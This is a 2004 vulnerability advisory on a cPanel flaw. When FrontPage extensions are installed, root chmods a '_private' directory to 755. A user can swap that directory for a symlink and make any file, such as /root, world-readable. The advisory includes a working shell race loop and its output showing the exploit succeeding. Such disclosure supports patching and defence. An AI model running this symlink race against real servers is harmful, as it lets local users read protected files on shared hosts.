cPanel symlink chmod issue

[Karol Więsek <appelast@xxxxxxxxxxxxxxxx>]

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Name:                   cPanel
Vendor URL:             http://www.cpanel.net
Author:                 Karol Więsek <appelast@xxxxxxxxxxxxxxxx>
Date:                   September 30, 2004

Issue:
cPanel allows logged in users to change permission of any file to 755.

Description:
cPanel is a next generation web hosting control panel system. cPanel is
extremely feature rich as well as include an easy to use web based
interface (GUI). cPanel is designed for the end users of your system and
allows them to control everything from adding / removing email accounts
to administering MySQL databases.

Details:
cPanel allows users to turn on/off front fage extensions. It is done
with effective uid of system administrator ( root ). During this special
directory _private is created, and then it is chmod() to 755. Attacker
could remove that directory, and create symlink to any file, thus it
will be chmod() ed.

Exploit:
To exploit this vulnerability just link file/directory you want to chmod
to _private in users public_html, and execute installation of frontpage
extensions.

appelast@only:~/www$ ls -al /root
ls: /root: Brak dostępu
appelast@only:~/www$ while [ 1 ]; do if [ -d "_private" ]; then rm -fr
_private; ln -s /root _private; break; fi; done
appelast@only:~/www$ ls -al /root | head -3
razem 2212
drwxr-xr-x   28 root     root         4096 paź 18 05:49 .
drwx--x--x   22 root     root         4096 paź  9 21:56 ..
appelast@only:~/www$

Eploitation could be made via php, cgi, crontab or shell access.

Tested on cPanel 9.9.1-RELEASE-3, and confirmed vulnerable.

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